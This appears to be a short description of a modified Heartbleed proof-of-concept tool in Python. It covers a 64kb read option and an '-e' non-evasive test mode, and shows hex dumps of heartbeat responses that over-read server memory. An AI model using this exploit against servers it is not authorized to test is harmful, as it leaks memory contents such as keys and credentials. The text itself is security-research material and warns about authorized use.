My modifications to the heartbleed python poc. I've included an option -e to perform non-evasive tests. Never the less the program can do 64kb heartbleeds, so please be careful and only use this on servers you own (or the cloudflarechallenge).
With overrun of 1 and size of 32 responses look like this: Received heartbeat response: 0000: 02 00 0E 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C ...LLLLLLLLLLLLL 0010: 50 91 BB DA EB F0 98 0E 68 08 86 08 C9 C9 85 E5 P.......h....... 0020: 97 .
With overrun of 8 and size of 4096 response would look like this: 0fb0: 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C LLLLLLLLLLLLLLLL 0fc0: 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C LLLLLLLLLLLLLLLL 0fd0: 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C LLLLLLLLLLLLLLLL 0fe0: 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C 4C LLLLLLLLLLLLLLLL 0ff0: 50 50 50 50 50 50 50 50 56 0A 14 46 D6 65 E2 95 PPPPPPPPV..F.e.. 1000: D7 A0 24 B4 32 ED 56 FE ..$.2.V.
Note the extra P, we're overrunning the buffer and reading our own padding.